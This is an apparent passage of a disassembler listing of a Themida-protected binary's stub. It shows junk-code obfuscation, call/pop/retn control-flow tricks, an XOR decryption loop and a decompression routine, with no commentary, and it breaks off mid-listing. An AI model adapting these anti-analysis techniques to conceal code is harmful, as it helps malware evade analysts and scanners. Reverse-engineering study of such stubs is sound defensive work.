mov [esi], al mov al, ds:365F38D6h ; START OF FUNCTION CHUNK FOR sub_54F9F1 loc_54FCB9: ; CODE XREF: sub_54F9F1+2B8j popa pop edx retn ; END OF FUNCTION CHUNK FOR sub_54F9F1 ; --------------------------------------------------------------------------- jg loc_54FCCF pusha and eax, [ebp+6142E21h] and ax, 3207h popa loc_54FCCF: ; CODE XREF: Themida_:0054FCBCj mov esi, [ebp+6142D01h] jnb loc_54FCE1 mov [ebp+6140C89h], ecx loc_54FCE1: ; CODE XREF: Themida_:0054FCD5j or esi, esi jz loc_54FD33 jnz loc_54FD00 pusha pusha popa jmp loc_54FCFF ; --------------------------------------------------------------------------- db 0ADh dd 4D044876h db 5Ch, 22h, 59h ; --------------------------------------------------------------------------- loc_54FCFF: ; CODE XREF: Themida_:0054FCF2j popa loc_54FD00: ; CODE XREF: Themida_:0054FCE9j mov byte ptr [esi], 0 push 0 push esi call sub_54FD0E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FD0E proc near ; CODE XREF: Themida_:0054FD06p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_54FD0E endp ; --------------------------------------------------------------------------- dw 0F171h dd 66B5DD5Eh, 5E9DE8Bh, 50000000h, 596D0723h ; --------------------------------------------------------------------------- sbb dl, 51h loc_54FD33: ; CODE XREF: Themida_:0054FCE3j mov [ebp+6144D1Fh], eax jp $+6 cmp eax, 0 jz loc_550037 push 0 push ecx call sub_54FD53 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FD53 proc near ; CODE XREF: Themida_:0054FD4Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_54FD53 endp ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 26h, 35h, 0FCh ; --------------------------------------------------------------------------- or [ebx], ah aas mov dword ptr [eax+3360DDD6h], 140B9DB5h push es popa mov eax, 0 xor edx, 512E5C5Bh sub edx, [ebp+6142B0Dh] cmp eax, 0 jz loc_54FE34 mov ebx, [ebp+6142ADDh] cmp eax, 2 jnz loc_54FE04 push 0 push edx call sub_54FDAB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FDAB proc near ; CODE XREF: Themida_:0054FDA3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_54FDAB endp ; --------------------------------------------------------------------------- db 36h dd 6672DE6Eh, 0B331EB81h, 32099503h, 858D0614h, 614439Ah dd 292D95B3h, 8B000009h, 14061995h, 0D88B9006h, 8E950h dd 0F1630000h, 456AE418h, 89903E8Eh, 14141D9Dh, 8960C306h dd 1416718Dh, 1D858906h, 6106142Fh ; --------------------------------------------------------------------------- loc_54FE04: ; CODE XREF: Themida_:0054FD9Aj mov eax, 0 mov ebx, esi jmp loc_550037 ; --------------------------------------------------------------------------- push 0 push eax call sub_54FE1B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FE1B proc near ; CODE XREF: Themida_:0054FE13p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_54FE1B endp ; --------------------------------------------------------------------------- sub eax, 0B6308C60h jns short loc_54FE98 mov edx, esi loc_54FE34: ; CODE XREF: Themida_:0054FD8Bj mov eax, 1 call sub_54FE51 push ecx out dx, eax add [edi+1076E5D4h], ecx ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54FE51 loc_54FE47: ; CODE XREF: sub_54FE51+1Aj sub [ecx], dl mov cl, dh aaa inc esi or al, 8Ch cmp al, 7Fh ; END OF FUNCTION CHUNK FOR sub_54FE51 ; =============== S U B R O U T I N E ======================================= sub_54FE51 proc near ; CODE XREF: Themida_:0054FE39p ; FUNCTION CHUNK AT 0054FE47 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0054FE7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054FF4B SIZE 0000000C BYTES mov bl, 0B5h pop ebx mov bx, 1876h ; CODE XREF: sub_54FE51+23j lea edi, [ebp+614439Fh] jz loc_54FE7D call near ptr loc_54FE78+2 sub al, 0D1h jg short loc_54FE47 xchg eax, ebx std add eax, 0FE51BFFFh jg short near ptr loc_54FE54+3 out 0C0h, al ; DMA controller, 8237A-5. ; channel 0 base address ; (also sets current address) loc_54FE78: ; CODE XREF: sub_54FE51+13p mov ds:5BFE8AA4h, al sub_54FE51 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_54FE51 loc_54FE7D: ; CODE XREF: sub_54FE51+Dj jmp loc_54FF4B ; END OF FUNCTION CHUNK FOR sub_54FE51 ; --------------------------------------------------------------------------- dw 0B70Fh dd 2F883D8h, 2C850Fh, 0B5890000h, 6142E0Dh, 4597BD8Dh ; --------------------------------------------------------------------------- loc_54FE98: ; CODE XREF: Themida_:0054FE30j adc al, 6 movsx edx, bx jmp loc_54FF4B ; --------------------------------------------------------------------------- jmp loc_54FEBA ; --------------------------------------------------------------------------- db 0E6h dd 265A7117h, 0E979907Eh, 2EE4CC7Bh, 0C681F244h ; --------------------------------------------------------------------------- aad 9Ah loc_54FEBA: ; CODE XREF: Themida_:0054FEA2j cmp eax, 3 jnz loc_54FEFB movzx ebx, cx mov ebx, edi lea edi, [ebp+614472Bh] push 0 push esi call sub_54FED9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FED9 proc near ; CODE XREF: Themida_:0054FED1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_54FED9 endp ; --------------------------------------------------------------------------- db 94h, 87h, 72h dd 10931FA3h, 56E9h, 0D5853100h ; --------------------------------------------------------------------------- add dl, [esi+eax] loc_54FEFB: ; CODE XREF: Themida_:0054FEBDj cmp eax, 5 jnz loc_54FF4B push 0 push esi call sub_54FF0F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FF0F proc near ; CODE XREF: Themida_:0054FF07p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_54FF0F endp ; --------------------------------------------------------------------------- db 8Dh dd 0F45C7F43h, 0C406E464h, 79950BC4h, 8B061410h, 14092D9Dh dd 8EE906h, 9E80000h, 0B9000000h, 28F4F0CDh, 1DF3A737h ; --------------------------------------------------------------------------- mov edx, ebx pop edx ; START OF FUNCTION CHUNK FOR sub_54FE51 loc_54FF4B: ; CODE XREF: sub_54FE51:loc_54FE7Dj ; Themida_:0054FE9Dj ... push edi push 0 push ecx call sub_54FF57 and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_54FE51 ; =============== S U B R O U T I N E ======================================= sub_54FF57 proc near ; CODE XREF: sub_54FE51+FEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_54FF57 endp ; --------------------------------------------------------------------------- db 0E8h dd 2A75BDF2h, 6E3A9AB5h, 0ECA805Ah, 0F6FD85B9h, 87C6800Fh dd 0F003F83h, 4384h, 59958B00h, 3006142Ah, 12E80Fh, 7E550000h dd 0D7550CC5h, 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0C9D15AF5h dd 0D58D8B60h, 89061405h, 14005595h, 89476106h, 140D758Dh dd 0FFBAE906h, 8589FFFFh, 61429A9h, 0F05F883h, 6685h, 0B0EE8000h dd 0B3D98C66h, 4C1F6E3h, 45850Fh, 9D890000h, 6142561h dd 0B8h, 59F28100h, 0E95EB8E6h, 3Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 58C35747h, 0EFB658Ah, 8E93166h dd 0D7000000h, 0B87DF66Ah, 8BD07D9Eh, 14057185h, 0FFD5B606h dd 859D29E0h ; --------------------------------------------------------------------------- and [esi+eax], edx loc_550037: ; CODE XREF: Themida_:0054FD42j ; Themida_:0054FE0Bj cmp dword ptr [ebp+6142EF9h], 0 jnz loc_55010B push 0 push eax call sub_55004F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55004F proc near ; CODE XREF: Themida_:00550047p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_55004F endp ; --------------------------------------------------------------------------- push ecx sub al, 0B4h popf nop mov edx, 1E93D414h push eax push ecx push esi mov edx, 4280A555h pop ebx pop ebx nop jmp loc_550084 ; --------------------------------------------------------------------------- db 0B9h, 1Fh, 69h dd 0FE9656C7h, 8A27AF56h ; --------------------------------------------------------------------------- loc_550084: ; CODE XREF: Themida_:00550074j mov byte ptr [ebp+6141A59h], 45h mov bx, 6331h push 8BCE830Ch push eax jb loc_55009D push edi pop edx loc_55009D: ; CODE XREF: Themida_:00550095j pop ebx add dword ptr [esp], 2A3E65Dh mov dl, 0A6h push dword ptr [ebp+6141145h] and edx, 6E762D50h lea eax, [ebp+6143B13h] stc call eax push 0 push edi call sub_5500C7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5500C7 proc near ; CODE XREF: Themida_:005500BFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5500C7 endp ; --------------------------------------------------------------------------- ror byte ptr [ecx+142EF985h], 1 push es pusha mov eax, [ebp+6142115h] popa pop eax push 0 push edx call sub_5500F2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5500F2 proc near ; CODE XREF: Themida_:005500EAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5500F2 endp ; --------------------------------------------------------------------------- dw 2B74h dd 0A99D318Eh ; --------------------------------------------------------------------------- adc al, 14h push es loc_55010B: ; CODE XREF: Themida_:0055003Ej cmp dword ptr [ebp+6144D6Eh], 0 jz loc_550156 push 0 push ecx call sub_550123 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550123 proc near ; CODE XREF: Themida_:0055011Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_550123 endp ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- cmp [edx-4A000307h], edi sbb [edx], esi adc al, 6 mov [ebp+6140105h], esi or [ebp+61414A1h], edi call dword ptr [ebp+6142EF9h] mov [ebp+6140D69h], edx loc_550156: ; CODE XREF: Themida_:00550112j cmp eax, 0 jnz loc_550260 push 0 push esi call sub_55016A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55016A proc near ; CODE XREF: Themida_:00550162p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_55016A endp ; --------------------------------------------------------------------------- dw 4641h dd 0A437AFE6h, 0DE97C10h, 83000000h, 9D807870h, 0C4C9E7DEh dd 3B8C8C1h, 226D9D89h, 0BD830614h, 6141A99h, 53840F00h dd 0B3000000h, 99B5FFC4h, 0F806141Ah, 1B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 2FAE5055h, 0CE8h, 17DC1E00h, 2732A817h, 0DFF1A057h dd 0D19D8BC7h, 5A061416h, 1111B589h, 0A2E90614h, 0F000001h dd 0B5FFDBB7h, 6143219h, 19810Fh, 14E90000h, 0FC000000h dd 29C9C20Ah, 619D3521h, 0AF052D4Ah, 6FF67C1Ch, 0FF294E6Fh dd 143219B5h, 0E98D0106h, 0FF061401h, 142EF9B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0BDDA4904h, 8A79EE2Dh, 13FE9D4h, 9D330000h, 61420F1h ; --------------------------------------------------------------------------- loc_550260: ; CODE XREF: Themida_:00550159j pop edi mov dx, bx cmp dword ptr [ebp+61402C1h], 0 jnz loc_5502FD mov edx, [ebp+6141A21h] mov byte ptr [ebp+6141A59h], 4Dh push edi pusha mov bx, 3C6Eh mov eax, edx popa pop ebx push 9321A960h mov dh, ah add dword ptr [esp], 1113CD48h sub [ebp+6140665h], edi push dword ptr [ebp+6140931h] jmp loc_5502B6 ; --------------------------------------------------------------------------- db 6Ch dd 9B350F7Fh, 0B004CD05h, 60EA781Ah db 0E3h, 0A2h ; --------------------------------------------------------------------------- loc_5502B6: ; CODE XREF: Themida_:005502A2j lea eax, [ebp+6143B13h] mov dh, 86h call eax push 0 push eax call sub_5502CB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5502CB proc near ; CODE XREF: Themida_:005502C3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5502CB endp ; --------------------------------------------------------------------------- icebp mov ebx, [ebp+6142ACDh] jmp loc_5502EE ; --------------------------------------------------------------------------- push ecx fisttp dword ptr [ecx] push cs les ecx, [edx+ecx*4] loc_5502EE: ; CODE XREF: Themida_:005502E2j mov [ebp+61402C1h], eax mov [ebp+61422F9h], edx xor bh, 5Bh loc_5502FD: ; CODE XREF: Themida_:0055026Bj mov eax, 0 mov ebx, 2BFF74ACh mov [ebp+6144D17h], edi mov edx, [ebp+6140055h] mov bh, 9Bh or eax, eax jz loc_55034D push 0 push edi call sub_550328 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550328 proc near ; CODE XREF: Themida_:00550320p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_550328 endp ; --------------------------------------------------------------------------- mov bh, 77h jmp loc_550399 ; --------------------------------------------------------------------------- pusha mov [ebp+61400F5h], ecx mov esi, [ebp+614022Dh] popa loc_55034D: ; CODE XREF: Themida_:00550317j push dword ptr [ebp+6142EF9h] push 0 push ecx call sub_55035E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55035E proc near ; CODE XREF: Themida_:00550356p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_55035E endp ; --------------------------------------------------------------------------- fcom qword ptr [edi+3Fh] jl loc_55037C mov edx, 41412E2Ah loc_55037C: ; CODE XREF: Themida_:00550371j or edx, [ebp+61400FDh] lea eax, [ebp+616A99Ah] adc dh, 77h nop mov dx, di push eax mov dx, 0E420h nop mov dx, 7739h loc_550399: ; CODE XREF: Themida_:0055033Aj push eax push esi lea edi, [ebp+61453FBh] lea ecx, [ebp+61477CFh] mov eax, 748323BCh sub ecx, edi loc_5503AE: ; CODE XREF: Themida_:005503B4j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_5503AE pop esi pop eax cmp dword ptr [ebp+6141A99h], 0 jz short loc_5503C7 mov ecx, [ebp+61423C1h] loc_5503C7: ; CODE XREF: Themida_:005503BFj xor ecx, ecx mov eax, 0 or eax, eax jz loc_55047E cmp dword ptr [ebp+6141A71h], 0 jz short loc_5503E5 call dword ptr [ebp+6141DA9h] loc_5503E5: ; CODE XREF: Themida_:005503DDj mov eax, 0 or eax, eax jnz short loc_5503F7 cmp dword ptr [ebp+6144D1Fh], 1 jz short loc_550400 loc_5503F7: ; CODE XREF: Themida_:005503ECj cmp dword ptr [ebp+6144D1Fh], 2 jnz short loc_55040E loc_550400: ; CODE XREF: Themida_:005503F5j mov esi, [ebp+6144D17h] lea eax, [ebp+616A99Ah] call eax loc_55040E: ; CODE XREF: Themida_:005503FEj cmp dword ptr [ebp+6142B95h], 0 jz short loc_55041D call dword ptr [ebp+6140911h] loc_55041D: ; CODE XREF: Themida_:00550415j lea eax, [ebp+614432Bh] call eax cmp dword ptr [ebp+6141D51h], 2 jnz short loc_55045D mov esp, [ebp+6143505h] mov eax, [ebp+6141A99h] mov [esp], eax mov dword ptr [ebp+6143495h], 1 mov esi, [ebp+6144D1Bh] mov ebp, [ebp+6142E29h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_55045D: ; CODE XREF: Themida_:0055042Cj mov dword ptr [ebp+6143495h], 1 mov esp, [ebp+6143505h] mov esi, [ebp+6142679h] mov ebp, [ebp+6142E29h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_55047E: ; CODE XREF: Themida_:005503D0j cmp dword ptr [ebp+6142B95h], 0 jz short loc_550496 cmp dword ptr [ebp+6140911h], 0 jz short loc_550496 call dword ptr [ebp+6140911h] loc_550496: ; CODE XREF: Themida_:00550485j ; Themida_:0055048Ej mov esi, [ebp+6144D17h] retn ; --------------------------------------------------------------------------- and edx, 2F2DDF6Ch mov edx, esi sub edx, edx mov [ebp+61401BDh], ebx push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5504BD ; --------------------------------------------------------------------------- loc_5504BB: ; CODE XREF: Themida_:005504C0j inc eax inc edi loc_5504BD: ; CODE XREF: Themida_:005504B9j cmp byte ptr [edi], 0 jnz short loc_5504BB xor ecx, ecx mov edi, [ebp+8] jmp short loc_5504EC ; --------------------------------------------------------------------------- loc_5504C9: ; CODE XREF: Themida_:005504EEj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5504E1 ; --------------------------------------------------------------------------- loc_5504DE: ; CODE XREF: Themida_:005504E4j mul ebx dec esi loc_5504E1: ; CODE XREF: Themida_:005504DCj cmp esi, 0 ja short loc_5504DE pop ebx add ecx, eax pop eax inc edi dec eax loc_5504EC: ; CODE XREF: Themida_:005504C7j or eax, eax jnz short loc_5504C9 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- push 0 push esi call sub_550505 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550505 proc near ; CODE XREF: Themida_:005504FDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_550505 endp ; --------------------------------------------------------------------------- db 54h, 58h, 88h dd 0F39ED65Eh, 0B589974Ah, 6142B55h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0E0C35545h, 256C08BFh, 378F7A84h dd 0DE904h, 0B0060000h, 0D980D4ACh, 8E0C88E6h, 812D39E7h dd 0B066FFDBh db 7Fh ; --------------------------------------------------------------------------- loc_550561: ; CODE XREF: Themida_:loc_54D951j mov eax, ecx jmp loc_550715 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_550574: ; CODE XREF: Themida_:loc_55058Cj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_55057F: ; CODE XREF: Themida_:0055060Aj ; Themida_:00550672j ... add dl, dl jnz loc_55058C mov dl, [esi] inc esi adc dl, dl loc_55058C: ; CODE XREF: Themida_:00550581j jnb loc_550574 add dl, dl jnz loc_55059F mov dl, [esi] inc esi adc dl, dl loc_55059F: ; CODE XREF: Themida_:00550594j jnb loc_55060F xor eax, eax add dl, dl jnz loc_5505B4 mov dl, [esi] inc esi adc dl, dl loc_5505B4: ; CODE XREF: Themida_:005505A9j jnb loc_5506E4 add dl, dl jnz loc_5505C7 mov dl, [esi] inc esi adc dl, dl loc_5505C7: ; CODE XREF: Themida_:005505BCj adc eax, eax add dl, dl jnz loc_5505D6 mov dl, [esi] inc esi adc dl, dl loc_5505D6: ; CODE XREF: Themida_:005505CBj adc eax, eax add dl, dl jnz loc_5505E5 mov dl, [esi] inc esi adc dl, dl loc_5505E5: ; CODE XREF: Themida_:005505DAj adc eax, eax add dl, dl jnz loc_5505F4 mov dl, [esi] inc esi adc dl, dl loc_5505F4: ; CODE XREF: Themida_:005505E9j adc eax, eax jz loc_550602 push edi sub edi, eax mov al, [edi] pop edi loc_550602: ; CODE XREF: Themida_:005505F6j mov [edi], al inc edi mov ebx, 2 jmp loc_55057F ; --------------------------------------------------------------------------- loc_55060F: ; CODE XREF: Themida_:loc_55059Fj mov eax, 1 loc_550614: ; CODE XREF: Themida_:loc_550630j add dl, dl jnz loc_550621 mov dl, [esi] inc esi adc dl, dl loc_550621: ; CODE XREF: Themida_:00550616j adc eax, eax add dl, dl jnz loc_550630 mov dl, [esi] inc esi adc dl, dl loc_550630: ; CODE XREF: Themida_:00550625j jb loc_550614 sub eax, ebx mov ebx, 1 jnz loc_550677 mov ecx, 1 loc_550648: ; CODE XREF: Themida_:loc_550664j add dl, dl jnz loc_550655 mov dl, [esi] inc esi adc dl, dl loc_550655: ; CODE XREF: Themida_:0055064Aj adc ecx, ecx add dl, dl jnz loc_550664 mov dl, [esi] inc esi adc dl, dl loc_550664: ; CODE XREF: Themida_:00550659j jb loc_550648 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_55057F ; --------------------------------------------------------------------------- loc_550677: ; CODE XREF: Themida_:0055063Dj dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_550685: ; CODE XREF: Themida_:loc_5506A1j add dl, dl jnz loc_550692 mov dl, [esi] inc esi adc dl, dl loc_550692: ; CODE XREF: Themida_:00550687j adc ecx, ecx add dl, dl jnz loc_5506A1 mov dl, [esi] inc esi adc dl, dl loc_5506A1: ; CODE XREF: Themida_:00550696j jb loc_550685 cmp eax, 7D00h jnb loc_5506D4 cmp eax, 500h jb loc_5506CB inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_55057F ; --------------------------------------------------------------------------- loc_5506CB: ; CODE XREF: Themida_:005506B7j cmp eax, 7Fh ja loc_5506D7 loc_5506D4: ; CODE XREF: Themida_:005506ACj add ecx, 2 loc_5506D7: ; CODE XREF: Themida_:005506CEj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_55057F ; --------------------------------------------------------------------------- loc_5506E4: ; CODE XREF: Themida_:loc_5505B4j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_550709 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_55057F ; --------------------------------------------------------------------------- loc_550709: ; CODE XREF: Themida_:005506ECj sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_550715: ; CODE XREF: Themida_:00550563j mov edx, 929h jmp loc_572B54 ; --------------------------------------------------------------------------- db 3Fh dd 6F025C00h, 28005C6Fh, 6F025C00h, 0BE005C6Fh, 5C54h dd 6C000000h, 20012FFh, 2000002h, 1000000h, 3000000h, 0DF000000h dd 0FA408Bh, 4 dup(0) dd 10000000h, 4C005531h, 17005595h, 5500551Fh, 4000552Eh dd 1B005588h, 0B5005598h, 0E4005594h, 15005527h, 3100554Ah dd 3A005556h, 0C200559Ah, 4D0055AFh, 0D0005527h, 2F0055CDh dd 88005528h, 3A005512h, 10055A5h, 1A005511h, 5700556Bh dd 700556Bh, 520055C3h, 2300557Dh, 0D1005585h, 0E005582h dd 2F00557Dh, 0FE005581h, 0CA005567h, 0EF0055C8h, 0D8005524h dd 0A20055CEh, 5300550Eh, 0E4005573h, 130055C9h, 38005585h dd 3005583h, 560055B6h, 9500551Eh, 4900558Dh, 2D0055AFh dd 9A00559Ah, 0FE0055ACh, 1200558Dh, 0EC0055A2h, 1400552Fh dd 0BB005542h, 0DC005538h, 1A0055A1h, 96005583h, 0C1005522h dd 600055BFh, 540055CBh, 98005513h, 2000555Ah, 0E8005559h dd 0F2005510h, 0EC005597h, 88005597h, 0B000553Bh, 6200558Dh dd 800055A0h, 26005577h, 0FB005572h, 0A60055B4h, 3E005589h dd 1B005581h, 4F005527h, 5F00558Fh, 0EE00550Dh, 7200559Fh dd 8900552Ah, 0AF0055B5h, 1D00550Bh, 5B005547h, 99005597h dd 0EC005511h, 0A7005582h, 15005552h, 9F005563h, 8005551h dd 4D0055B9h, 490055CEh, 4C00551Ah, 28005585h, 0CB00558Eh dd 0F5005547h, 0D1005525h, 0BD00553Bh, 0C00055AEh, 1F005558h dd 49005545h, 7C005578h, 0E60055C7h, 22005532h, 0D100552Ah dd 0D30055CAh, 5B005567h, 0D005529h, 820055B5h, 9000557Dh dd 160055AFh, 860055C3h, 0ED005590h, 0B005583h, 88005532h dd 0AE00557Bh, 1F00550Eh, 1E0055CFh, 4300554Eh, 8B00559Bh dd 900553Ah, 3500556Dh, 37005510h, 6700556Bh, 600556Ch dd 0C5005554h, 0CD005559h, 900055A7h, 0FE005512h, 0F70055A2h dd 24005530h, 99005580h, 420055CEh, 9500553Dh, 9005574h dd 200055A4h, 380055AFh, 44005592h, 4B005510h, 0E20055CBh dd 0E4005554h, 9C005534h, 0AB00550Ah, 4B00557Ch, 94005515h dd 22005535h, 0FA005535h, 8F005553h, 9B005568h, 0E1005548h dd 92005559h, 0D7005595h, 380055BEh, 2900556Ah, 1E005576h dd 98005540h, 0DB00557Bh, 0B900557Dh, 180055AFh, 53005571h dd 0B2005584h, 0E0055C0h, 8A0055CEh, 82005562h, 7B005555h dd 7B005579h, 38005517h, 76005598h, 340055C9h, 54005595h dd 0AD0055CBh, 0F5005597h, 60005587h, 6700557Fh, 0D400558Eh dd 64005540h, 40005586h db 90h db 55h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF4AE loc_5509FF: ; CODE XREF: Themida_:00572BB9j ; Themida_:00572BC3j ... pusha pushf cld call $+5 pop edi sub edi, 6147E28h mov eax, edi add edi, 6147B40h cmp eax, [edi+2Ch] jnz short loc_550A1D jmp short loc_550A30 ; --------------------------------------------------------------------------- loc_550A1D: ; CODE XREF: sub_5AF4AE-5EA95j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_550A2C ; --------------------------------------------------------------------------- loc_550A27: ; CODE XREF: sub_5AF4AE-5EA80j add [edi+ecx*4+40h], eax dec ecx loc_550A2C: ; CODE XREF: sub_5AF4AE-5EA89j or ecx, ecx jnz short loc_550A27 loc_550A30: ; CODE XREF: sub_5AF4AE-5EA93j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_550A3D: ; CODE XREF: sub_5AF4AE-5EA6Aj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_550A3D loc_550A46: ; CODE XREF: Themida_:00550A9Ej ; sub_556A70-5F62j ... lodsb push bx mov bh, 60h sub al, bh jmp loc_559D10 ; END OF FUNCTION CHUNK FOR sub_5AF4AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_550A52: ; CODE XREF: sub_5584F8+2DDAj pop eax jmp loc_556457 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550A58: ; CODE XREF: sub_556A70+633Dj and dh, 0A5h xor dh, 0A9h push 281Fh mov [esp+4+var_4], ecx push small 5E17h mov word ptr [esp+6+var_8+2], dx mov dl, 0C6h jmp loc_5537A2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_550A75: ; CODE XREF: Themida_:0055B3FEj mov ch, dl pop edx dec ch jmp loc_5583DF ; --------------------------------------------------------------------------- loc_550A7F: ; CODE XREF: Themida_:005549CEj xchg ebp, [esp] pop esp mov [esp], esi jmp loc_55272C ; --------------------------------------------------------------------------- loc_550A8B: ; CODE XREF: Themida_:0055A226j push edi mov edi, 2 sub ebp, 694A58DFh jmp loc_556A0B ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550AA3: ; CODE XREF: sub_556A70+183Ej dec bl mov dh, bl pop ebx jmp loc_55BBE1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_550AAD: ; CODE XREF: sub_5584F8-32F3j inc ebx not ebx xor ebx, 0FFEDCB1Ch sub ecx, 2FDE1DAEh add ecx, ebx add ecx, 2FDE1DAEh pop ebx and eax, ecx pop ecx or eax, eax jz loc_5560D1 push dword ptr [edi+1Ch] push [esp-8+arg_4] mov ecx, [esp-4+arg_0] push esi jmp loc_55B3BE ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_550ADF: ; CODE XREF: Themida_:0055CB5Bj pop bx jmp loc_555EB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550AE6: ; CODE XREF: sub_556A70-103Fj pop esp add eax, ecx pop ecx jmp loc_557207 ; --------------------------------------------------------------------------- loc_550AEF: ; CODE XREF: sub_556A70+402Bj add eax, ecx mov ecx, [esp-6+arg_0+2] add esp, 4 xchg eax, [esp-0Ah+arg_4+2] mov esp, [esp-0Ah+arg_4+2] push ecx jmp loc_55514A ; --------------------------------------------------------------------------- loc_550B06: ; CODE XREF: sub_556A70+1924j pop edx push [esp-0Ah+arg_4+2] pop ebx add esp, 4 jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_550B13: ; CODE XREF: sub_552B74+5627j mov cl, 0C9h sub cl, 53h shr cl, 1 shr cl, 6 sub cl, 35h mov ah, cl jmp loc_55BB7E ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550B27: ; CODE XREF: 